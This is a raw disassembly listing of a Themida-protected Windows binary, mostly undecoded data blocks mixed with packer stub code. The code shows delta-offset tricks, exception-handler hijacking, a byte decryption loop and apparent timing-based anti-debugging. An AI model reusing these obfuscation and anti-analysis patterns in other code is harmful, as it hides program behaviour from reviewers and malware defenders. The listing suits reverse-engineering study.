		dd 79E30000h, 0FAFF0057h, 0FDDFh, 3 dup(0)
		dd 5643028Ah, 0AC0000h,	0FFEDh,	0FFFF0000h, 0FFFFh, 0
		dd 43000000h, 2	dup(0)
		dd 77D4h, 2 dup(0)
		dd 0EA720000h, 0FFA4h, 3 dup(0)
		dd 6BE90000h, 5	dup(0)
		dd 56540000h, 424h, 0
		dd 11A10000h, 8E65h, 0
		dd 8D8D0000h, 0E85Fh, 0
		dd 50080000h, 0E5E30057h, 3040059h, 7FFEh, 0
		dd 60000000h, 0EA720003h, 0FFA4h, 7 dup(0)
		dd 7FD80000h, 57h, 567B0000h, 0C6000058h, 76CD0003h, 77E7h
		dd 0
		dd 69DD0000h, 2009Fh, 2D860000h, 57h, 4	dup(0)
		dd 0EE9A0000h, 0C000C072h, 1Bh,	3 dup(0)
		dd 0A6E90000h, 77EBh, 3040000h,	7FFEh, 0
		dd 6BE90000h, 4	dup(0)
		dd 10000h, 30DF0000h, 0A9C5h, 0Ch dup(0)
		dd 7F5D0000h, 3259h, 0
		dd 69DD0000h, 9Fh, 4 dup(0)
		dd 21210000h, 0EA722121h, 0FFA4h, 3 dup(0)
		dd 6BE90000h, 0
		dd 56000000h, 0
		dd 14230000h, 5Bh, 0
		dd 22700000h, 96C9005Ah, 8B7D0057h, 0B13499DDh
		db 0A1h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53EFAE:				; CODE XREF: start:loc_53BC59j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 607335Fh
		mov	[ebp+6072F51h],	edx
		mov	[ebp+607181Dh],	esi
		mov	[ebp+60700FDh],	eax
		cmp	dword ptr [ebp+6072899h], 0
		jz	short loc_53EFE6
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_53EFE6:				; CODE XREF: start+5EFC4j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6071189h],	eax
		push	45h
		call	sub_53F09A
		push	783749Ah
		call	sub_53F0E0
		push	0A894B25h
		call	sub_53F0E0
		jmp	loc_53F224
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F09A	proc near		; CODE XREF: start+5EFDEp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 607344Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_53F0B6:				; CODE XREF: sub_53F09A+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53F0D5
		mov	eax, [ebp+arg_0]
		mov	[ebx+60733B7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53F0B6
; ---------------------------------------------------------------------------

loc_53F0D5:				; CODE XREF: sub_53F09A+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53F09A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F0E0	proc near		; CODE XREF: start+5EFE8p start+5EFF2p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6073496h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_53F106:				; CODE XREF: sub_53F0E0+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53F106
		mov	[ebp+var_84], 0
		lea	edi, [edx+60733B7h]
		lea	esi, [ebp+var_80]

loc_53F136:				; CODE XREF: sub_53F0E0+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_53F142:				; CODE XREF: sub_53F0E0+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53F142
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53F136
		popa
		leave
		retn	4
sub_53F0E0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53F180
; ---------------------------------------------------------------------------

loc_53F17C:				; CODE XREF: Themida_:0053F183j
		inc	dword ptr [ebp-4]
		inc	esi

loc_53F180:				; CODE XREF: Themida_:0053F17Aj
		cmp	byte ptr [esi],	0
		jnz	short loc_53F17C
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53F211
; ---------------------------------------------------------------------------

loc_53F192:				; CODE XREF: Themida_:0053F214j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53F208
; ---------------------------------------------------------------------------

loc_53F19B:				; CODE XREF: Themida_:0053F20Cj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53F1F5
; ---------------------------------------------------------------------------

loc_53F1AB:				; CODE XREF: Themida_:0053F1F9j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53F1CD
		cmp	bl, 39h
		ja	short loc_53F1CD
		sub	bl, 30h
		jmp	short loc_53F1EF
; ---------------------------------------------------------------------------

loc_53F1CD:				; CODE XREF: Themida_:0053F1C1j
					; Themida_:0053F1C6j
		cmp	bl, 61h
		jb	short loc_53F1DF
		cmp	bl, 66h
		ja	short loc_53F1DF
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53F1EF
; ---------------------------------------------------------------------------

loc_53F1DF:				; CODE XREF: Themida_:0053F1D0j
					; Themida_:0053F1D5j
		cmp	bl, 41h
		jb	short loc_53F1EF
		cmp	bl, 46h
		ja	short loc_53F1EF
		sub	bl, 41h
		add	bl, 0Ah

loc_53F1EF:				; CODE XREF: Themida_:0053F1CBj
					; Themida_:0053F1DDj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_53F1F5:				; CODE XREF: Themida_:0053F1A9j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53F1AB
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53F205
		mov	eax, [ebp-10h]
		stosb

loc_53F205:				; CODE XREF: Themida_:0053F1FFj
		inc	dword ptr [ebp-8]

loc_53F208:				; CODE XREF: Themida_:0053F199j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53F19B
		add	edx, 4

loc_53F211:				; CODE XREF: Themida_:0053F190j
		cmp	edx, [ebp-4]
		jb	loc_53F192
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53F224:				; CODE XREF: start+5EFF7j
		mov	ecx, 7000h
		lea	edi, [ebp+60735DCh]

loc_53F22F:				; CODE XREF: start+5F21Fj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53F22F
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60736E0h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	ecx
		call	sub_53F26B
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53F26B	proc near		; CODE XREF: start+5F24Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_53F26B	endp

; ---------------------------------------------------------------------------
		db 3
aHauS		db 'h€ãÄé',0Ah,0
		align 4
		dd 0CCACC800h, 5BB71547h, 2B1F65B6h, 25F8C2h, 53FFFFF0h
		dd 0A800Fh, 5E90000h, 89000000h, 97871FB7h, 0D88B665Bh
		dd 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h
		dd 74000045h, 10002D08h, 0EB470000h, 58F64E3h, 0
		dd 8D04C483h, 736F395h,	0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 36FEED81h, 858D0607h
		dd 60736BCh, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 816604C4h, 8ABB73F3h, 0D98C66D9h, 0F274F381h, 99B77CCFh
		dd 0BB04E180h, 5C0A571Dh, 850FC90Ah, 43h, 0C7DF8B66h, 732B185h
		dd 106h, 0EB816600h, 3FE9EB5Ch,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A9E4C352h
		dd 7890Fh, 830F0000h, 1, 0C758B3FCh, 732B185h, 6, 0F8BE6000h
		dd 0B32C1395h, 858961B4h, 6072939h, 0F5C9BB66h,	1CBD8589h
		dd 0EE80607h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch, 0E11BAF9Ah
		dd 38B0F2Ah, 66000000h,	8A58D88Bh, 8CC081EBh, 0BF00006Eh
		dd 25434F2Dh, 1B7ABEh, 0DAB70F00h, 18B9108Bh, 8150AA3Dh
		dd 0C4CFCAC2h, 0EA81FC27h, 58A81740h, 54F281F8h, 523B96ADh
		dd 8FD88B66h, 75F78100h, 83512527h, 840F04E8h, 1, 1EE83FCh
		dd 15850Fh, 66600000h, 0F78BD88Bh, 35E961h, 0B1220000h
		dd 9DB7C7C0h, 0E814507Bh, 0Fh, 0D1E6E05Eh, 0A998AAD1h
		dd 52F60973h, 53774429h, 95E95F5Bh, 3EFFFFFFh, 39E81CDBh
		dd 1BAF9AB8h, 0DCF92AE1h, 0E99133D8h, 701h, 0FA8B6660h
		dd 1761F88Bh, 12000002h, 0F000000h, 0C8Ch, 7E900h, 0E1C20000h
		dd 81C9EAD3h, 0F5F3h, 0D9D8B60h, 89060715h, 71BA98Dh, 0F5606106h
		dd 0BD09C02Bh, 6073041h, 2824548Bh, 68E0Fh, 0BD010000h
		dd 6071DB9h, 0E398589h,	60600607h, 1295858Bh, 8D290607h
		dd 6070A85h, 0EE961h, 0E0740000h, 879C075Ch, 6D05FB0Ah
		dd 0A358555Fh, 3CBE61h,	0B5890000h, 6071D1Dh, 24247403h
		dd 68E0Fh, 85890000h, 6071C1Dh,	8C0FAD66h, 0Ch,	68F0Fh
		dd 9D890000h, 60714B1h,	14E9h, 515D8D00h, 2F58810Ch, 18422978h
		dd 0C11BCF9Fh, 0DC72675h, 244403F4h, 8D896024h,	60732F9h
		dd 8E8h, 5175CA00h, 7DBAC554h, 5B6160D4h, 890F5061h, 0Ch
		dd 6830Fh, 820F0000h, 0
		dd 0F240489h, 684h, 0EDBD8900h,	0E9060731h, 8, 2FDED5A2h
		dd 0C21F4CAEh, 978408Bh, 703C985h, 24440306h, 0BE928h
		dd 0EB940000h, 78D6925h, 4C1943A7h, 18408BF0h, 1B91B589h
		dd 8D310607h, 6073271h,	0DD8D2940h, 8906071Ah, 7386285h
		dd 0E810F06h, 60000000h, 1609952Bh, 0B5290607h,	6070EC9h
		dd 800F5861h, 6, 425BD29h, 0BD890607h, 6072CEDh, 0F578708Bh
		dd 0BE9h, 98F24500h, 0E6C3BF61h, 50F28DC2h, 0F1CC683h
		dd 68Dh, 21BD2900h, 3060704h, 0F5242474h, 2D69BD8Dh, 0B5010607h
		dd 6072619h, 2EE58D89h,	0FAD0607h, 0C89h, 68E0F00h, 9000000h
		dd 73091B5h, 24440306h,	18C0F24h, 0F5000000h, 0FE9ABh
		dd 999A0000h, 1AAF7307h, 8A19D9DDh, 239DAF6Ch, 0EDBD8D42h
		dd 89060712h, 70C598Dh,	8E0FAD06h, 8, 0AD858B60h, 61060718h
		dd 1B5DBD89h, 44030607h, 8D892424h, 6071171h, 0EE990h
		dd 6A3C0000h, 56B53E6Dh, 422C9774h, 5613F33Dh, 0C860F50h
		dd 0F000000h, 683h, 8A0F00h, 90000000h,	8BC88B60h, 71BD58Dh
		dd 0F9AB6106h, 0B95BD8Dh, 13E90607h, 0C5000000h, 4D4C64DCh
		dd 8B586D34h, 0B85D627h, 0A449C6EDh, 0F9AD7272h, 28244403h
		dd 6E9h, 0B0A21400h, 600B8E48h,	14E8h, 0B1803C00h, 0BCEC1FD6h
		dd 6B3FD78Eh, 5122E450h, 25ADE0EBh, 29B509FBh, 58060705h
		dd 29AB61F9h, 704099Dh,	8C0F5E06h, 0Dh,	0F3816660h, 0B52995CDh
		dd 60704E1h, 628DFF61h,	83060738h, 73862BDh, 10750006h
		dd 1C2444C7h, 0
		dd 3D1EB58Dh, 0E6FF0607h, 4403AD56h, 8B972824h,	25858ADFh
		dd 84060715h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 70E3985h, 0FF6FE906h
		dd 315EFFFFh, 716098Dh,	858BF806h, 6070E39h, 0DE9h, 0EF168700h
		dd 47C55B7Ch, 8EFF8EB4h, 0E0D16990h, 21099589h,	85030607h
		dd 6070B95h, 10E9h, 0F241A100h,	740EF95Ch, 0B8CFA6CFh
		dd 0E3D1C8A0h, 0BE1Dh, 8E0F0000h, 6, 1AEDB589h,	0F960607h
		dd 681h, 11BD8900h, 66060721h, 798589ADh, 0C106071Eh, 0B58902E0h
		dd 6070435h, 2D698503h,	8D290607h, 6070425h, 0C8A0F96h
		dd 0F000000h, 685h, 0B9858900h,	0AD06072Dh, 244C8BF9h
		dd 4403FC24h, 8B602424h, 72F1585h, 9E806h, 0A13B0000h
		dd 0CF98F0E1h, 66F1D87Ah, 5EB5DCB8h, 24448961h,	3585891Ch
		dd 96060726h, 0BE98D31h, 0F9AC0607h, 9509C932h,	60712FDh
		dd 8F0F6060h, 0
		dd 8A0Fh, 66610000h, 7917D281h,	89C1FE61h, 721499Dh, 0D0D0F506h
		dd 99830Fh, 0BF600000h,	7E6C8BEFh, 0A3EB8166h, 0D0D0613Ah
		dd 85830Fh, 8B0F0000h, 8, 2800Fh, 61600000h, 820FD0D0h
		dd 6Fh,	0F3816660h, 0BD89568Eh,	6072D89h, 0FD0D061h, 5A82h
		dd 9DB58900h, 0FE060710h, 0AB890FC9h, 60FFFFFFh, 1AB1958Bh
		dd 7DB00607h, 20C48361h, 12E9BD89h, 44C70607h, 0FC24h
		dd 95890000h, 607323Dh,	1B8h, 8D8DF800h, 6076EC1h, 11E9h
		dd 24438400h, 8684E1ADh, 6C1E77AAh, 18154EE3h, 0E1FF39C8h
		dd 1870Fh, 0C6FC0000h, 7152585h, 0AE90006h, 16000000h
		dd 0FE83FE8Dh, 377E37B9h, 666061ADh, 61AE15B8h,	0FC0008C2h
		dd 158B0F96h, 0F000000h, 0F8Fh,	0AE900h, 78360000h, 1A2A5896h
		dd 94A2100Ah, 49BE6050h, 0F5314BEh, 383h, 0C88B6600h, 89F89661h
		dd 73F2CB5h, 258D2906h,	0F5060704h, 3F518D89h, 840F0607h
		dd 6, 0A3DB501h, 0B58D0607h, 6073DEDh, 14398589h, 858D0607h
		dd 5B7E35h, 8B666060h, 61DAB0CBh, 0D0FF61FCh, 9E9h, 0AB569200h
		dd 0ECFB13A6h, 605EE3D8h, 0C99B589h, 8E80607h, 0F4000000h
		dd 0EECA325Dh, 299D85D8h, 707999Dh, 29615E06h, 7305D95h
		dd 0BE9C306h, 0AA000000h, 6F6506B7h, 0BD72B164h, 0B58BFBF5h
		dd 6073F2Ch, 6820Fh, 85090000h,	607048Dh, 3F518D8Bh, 0F8600607h
		dd 0DECCC3B8h, 0C02B6152h, 3659501h, 8F0F0607h,	1, 0FD98BF5h
		dd 0C8Fh, 6810F00h, 0F000000h, 8Bh, 0D0E900h, 13E90000h
		dd 10000000h, 94DAB6C6h, 0F275F5AFh, 0CF57EC68h, 0ED14D63h
		dd 2632DC9Ch, 0BE9h, 1BE83E00h,	9A12F958h, 8E7C9491h, 0E96002B2h
		dd 0Bh,	0C361B420h, 0CFFDEDA0h,	613C0489h, 65E9h, 0BAF56000h
		dd 3C9617B3h, 0F5C23261h, 751D7A05h, 499D898Ah,	8A06070Eh
		dd 0C8D3F5CCh, 6870Fh, 0BD310000h, 60700A9h, 0D1084235h
		dd 1D8D0F98h, 60000000h, 0FE8h,	823C300h, 7CFB0390h, 6553B127h
		dd 7CD7852Ah, 8DB5035Eh, 61060704h, 870FCAFEh, 0Eh, 9E9h
		dd 52D90400h, 0A2DA8C02h, 0D20AB0C6h, 0FF9B850Fh, 9589FFFFh
		dd 6071819h, 19F98589h,	0F4B0607h, 68Ah, 119D8900h, 46060716h
		dd 0B499D31h, 0DB0B0607h, 0FF40850Fh, 6660FFFFh, 0F34E8BFh
		dd 68Dh, 0E1850900h, 6106071Bh,	0B96660CFh, 958B1ADBh
		dd 6071DA9h, 60000061h,	4890Fh,	0BA660000h, 0AE912F4h
		dd 70000000h, 0B593D2FAh, 35F25009h, 61A0h, 12359589h
		dd 607h, 890000F9h, 72935BDh, 8D858D06h, 89060738h, 70459BDh
		dd 9858906h, 29060720h,	70B65B5h, 13E906h, 7FD20000h, 0CFDBDF15h
		dd 0D2AF9BA7h, 0F986F5F6h, 983A5480h, 3F858D19h, 8906073Dh
		dd 712898Dh, 39858906h,	0E8060704h, 0Ah, 3D16A50Ch, 3F65967Fh
		dd 0D080F1E9h, 0C3815B06h, 5CB1h, 991E6DB9h, 1712BF40h
		dd 8D090000h, 6070149h,	81F9138Bh, 0FEEE9AF2h, 0A6F2817Ch
		dd 2B286561h, 70F898Dh,	0ECEA8106h, 662F5987h, 0A69DEE81h
		dd 0BF0F1389h, 29EB81C9h, 0F454D42h, 0C381CFBFh, 454D4225h
		dd 3029858Bh, 0EF830607h, 0BD850F01h, 81FFFFFFh, 0D7A1BEDEh
		dd 14EB33h, 3 dup(0)
		dd 8B000000h, 8D000000h, 740D485h, 21858906h, 83060701h
		dd 7401EBDh, 840F0006h,	12Bh, 152585C6h, 68560607h, 0AC79E73Dh
		dd 4243481h, 0FF78668Ah, 72939B5h, 8D858D06h, 0FF060738h
		dd 128589D0h, 0C6060740h, 7152585h, 17685606h, 81DB9B3Eh
		dd 86452434h, 0B5FF4733h, 6072939h, 388D858Dh, 0D0FF0607h
		dd 40168589h, 46A0607h,	0F470E468h, 240481C7h, 380B9F1Ch
		dd 4022858Bh, 0F4050607h, 0C1000001h, 509002E0h, 0FF006A90h
		dd 7401695h, 1A858906h,	8B060740h, 0FFFFB8D8h, 95FFFFFFh
		dd 6070121h, 95FFC38Bh,	6070121h, 96E9h, 1EBD8300h, 60740h
		dd 1850Fh, 57C30000h, 401ABD8Bh, 83AB0607h, 7401A85h, 0C35F0406h
		dd 401EBD83h, 0F000607h, 185h, 8360C300h, 7401AADh, 9D8B0406h
		dd 607401Ah, 0FFFC7B83h, 26850Fh, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 7401295h, 0E9C36106h, 26h, 4E8h, 800000h, 448B5000h
		dd 8B0424h, 4244489h, 0FF006A58h, 1295FF33h, 83060740h
		dd 7401AADh, 9FE90406h,	48FFFFFFh, 9D3E9h, 0E5CA2400h
		dd 0A9DA1486h, 9FBED009h, 3DFC5356h, 1ACF107h, 590AF9DCh
		dd 0F3C223EEh, 33D4019Bh, 0E5EC7947h, 0A5981F8Bh, 0CDA9C201h
		dd 3AEE4205h, 6EE7FE42h, 530089BFh, 0FFC33EFAh,	31D401C9h
		dd 0E5EF7641h, 0BA98058Bh, 0CDB6D81Ch, 21F05E1Bh, 5E9EA55h
		dd 444CBDDCh, 0B2D23EFEh, 249A009Bh, 0E5F96241h, 0BBD70392h
		dd 0C3B6D61Ch, 63h dup(0)
		dd 0E5CA2400h, 0B5D61E8Fh, 0CDA9D81Ah, 29F24906h, 44A4F255h
		dd 161FB8DAh, 0BDC328F9h, 28D512C9h, 0B7AB7340h, 0B5D61F97h
		dd 84FBD000h, 21E41B18h, 17E9E152h, 5318AACBh, 0DEAC63F6h
		dd 3CDF18B9h, 0E5A7725Dh, 0B3D41F97h, 84FBD30Fh, 3CFB1B02h
		dd 9E9FE48h, 4403B4D7h,	0BDC76DE2h, 38C8548Dh, 0B7EA635Dh
		dd 0B3C15196h, 9DFBC51Bh, 3CFA5404h, 0E7FE46h, 48h dup(0)
		dd 0E5CA2400h, 0BFD90381h, 0CAA9D205h, 21E91B05h, 0CE9FF48h
		dd 544CAAD3h, 0F3C828FEh, 33CF1B8Fh, 0B0F9374Ah, 0B2D11F8Ch
		dd 83B29709h, 3BF24256h, 1DBAB355h, 5B09ADC1h, 83AB47B5h
		dd 2EDB1185h, 0B0AB3B4Bh, 0BDD71D8Ch, 99B2970Ah, 21EF5D56h
		dd 1A4B34Ah, 4F1EB6DFh,	0B7C82CBBh, 2EDF06C9h, 0B1F9765Ah
		dd 0A9D708C2h, 9FAB971Ch, 2FEF5C19h, 0BD4Ah, 61h dup(0)
		dd 0ACCD2400h, 0BF98148Eh, 98A9C501h, 2AF84F06h, 30E9BD06h
		dd 161FB0DAh, 0B4C93FEBh, 7DD7159Bh, 0E5F87646h, 0B2DD1480h
		dd 83BADA4Eh, 22E84B1Fh, 0ACE746h, 5202B892h, 0AAC720BBh
		dd 50B0118Bh, 0B6AC6347h, 0BAD618C2h, 88AFD40Bh, 37FF1B12h
		dd 32E9F207h, 4519ABDBh, 0F3D422BBh, 3EDB068Ah,	0EBEF7245h
		dd 0B5D025C2h, 84BD971Dh, 39BD5E1Ah, 10EEFD48h,	4403AE92h
		dd 0BDC76DF0h, 2FD51990h, 394Bh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2C9EE9h, 0FCCFB600h,	8BDBBF0Fh, 0EE9C0h, 0B86F0000h
		dd 0E31C44C0h, 8A82A2BEh, 0C3322CA7h, 0FE952h, 2E450000h
		dd 5C062CDBh, 38CB444Dh, 0F0C21B7Ah, 0BD835AB3h, 6070211h
		dd 83097500h, 70D65BDh,	13740006h, 0C08B5350h, 1B8h, 4A9D8D00h
		dd 0FF0609A9h, 83585BD3h, 70D65BDh, 11740006h, 1B85350h
		dd 8D000000h, 9A7FB9Dh,	5BD3FF06h, 0BAADB258h, 5BB24F4h
		dd 8D09C08Bh, 60721B5h,	19C1BD83h, 0F000607h, 1CD84h, 61BD8900h
		dd 83060711h, 7114DBDh,	840F0006h, 1BAh, 9E9h, 0BBCA2100h
		dd 0A5AA9C3Ch, 0B6607764h, 4D858B98h, 0F060711h, 0E805DABFh
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 5F81C350h, 7428EBD9h, 60504BF1h
		dd 0E9616060h, 6, 0D5397F06h, 0B36141E3h, 48961D1h, 10E924h
		dd 72D70000h, 75743C53h, 0EFF6FC5Bh, 1DAAC45Ch,	858D47FFh
		dd 6074B2Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	93C35040h, 10E95Eh, 339B0000h, 3B9E4E8Ah, 88DD8373h
		dd 0F5C43DADh, 505048FCh, 50525052h, 5A310F52h,	60310F58h
		dd 0F585A61h, 7E831h, 4C690000h, 0C3F1DCA0h, 0F525030h
		dd 5B585A31h, 489585Ah,	8D8B6024h, 60731C1h, 0CB19589h
		dd 0F610607h, 887h, 2830F00h, 8B000000h, 8858DDFh, 6A06074Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0DA3BC353h, 50F985E7h, 7E9h, 93D19800h, 9B2E05A2h
		dd 81240489h, 4DF17ADAh, 1D95FF5Ah, 3306070Fh, 72CD995h
		dd 0CC48306h, 32C9B589h, 858D0607h, 6074B08h, 1614BA66h
		dd 2CED958Bh, 0BA500607h, 6C235197h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 6ACCC352h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0C2AECD37h, 7495FF85h, 66006885h
		dd 7490DA81h, 0CE957h, 51240000h, 0E2BF3A55h, 0C64A4020h
		dd 615BDBA8h, 0A399503h, 85C70607h, 6074B3Bh, 1, 265958Bh
		dd 56500607h, 6880Fh, 52500000h, 585A310Fh, 2434895Bh
		dd 14E9h, 0D5792400h, 402EA8A3h, 77B9BE48h, 0EAA558E7h
		dd 0E55E098Bh, 0ECB58938h, 8906074Ah, 70EC18Dh,	0B1BD8306h
		dd 1060732h, 67850Fh, 95890000h, 6071875h, 0F05F883h, 5885h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 1CBB6A9Ah, 0DE800DC8h, 0B812h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 702BF6C3h, 30F956B0h, 259D33F5h, 23060714h, 705D19Dh
		dd 0E1BD8306h, 60711h, 0B840Fh,	0B80000h, 89000000h, 729358Dh
		dd 6A6006h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0D8721AC3h, 9D896179h, 60723DDh, 1A29858Bh
		dd 95890607h, 60701F1h,	0F59D8952h, 5A060704h, 8102C083h
		dd 10D9A9DAh, 0E4858912h, 6A06074Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7E7C352h
		dd 41958BA1h, 0C606072Dh, 6AFF00h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 233C30C3h, 0BD298CD3h
		dd 6071FB9h, 28B0Fh, 0D08B0000h, 152585C6h, 66530607h
		dd 687CEABAh, 0E56BCDD8h, 3481DF8Bh, 0DA850024h, 0B5FFF819h
		dd 6071CBDh, 116905BAh,	0F4858D36h, 8B060A70h, 705F59Dh
		dd 89D0FF06h, 71A4D9Dh,	69858906h, 6606071Bh, 0BD83D38Bh
		dd 6071BADh, 2B850F01h,	6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 51B3C350h
		dd 8986050Ah, 0E8CA755Dh, 11h, 3C481EBBh, 0A224E29Bh, 7C620020h
		dd 0AEEDC35Ch, 80B4BB22h, 665A2D87h, 6189F3BBh,	152585C6h
		dd 0E9450607h, 6, 6AEFB476h, 7E9EBBEh, 0B8000000h, 45D4AF0Dh
		dd 4680D48h, 56DC3D2Fh,	8A0F60h, 50000000h, 815B6158h
		dd 17C62434h, 6A065Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 77B5B9C3h, 12E9h, 98BA1E00h, 1E57B599h
		dd 7FE56F4Ch, 7AA6108Eh, 0FF22D379h, 71CBDB5h, 8DD38B06h
		dd 0A70F485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0DFF83371h, 5810FC4h, 66000000h
		dd 9C46D281h, 9D8BD0FFh, 60718C5h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CF0A63C3h
		dd 0D0FFA45Ch, 0BE8h, 2386FF00h, 0D630F9Dh, 0D4BF5C38h
		dd 0A4EA8166h, 0BD835A08h, 607309Dh, 33850F01h,	51000001h
		dd 1A91958Bh, 8B5B0607h, 71A2985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3F60F617h
		dd 9F9FA87Ah, 952B170Ch, 6072879h, 2E01DA81h, 0A0E94E67h
		dd 8B000000h, 72C659Dh,	83BA9006h, 50728E85h, 67E8B860h
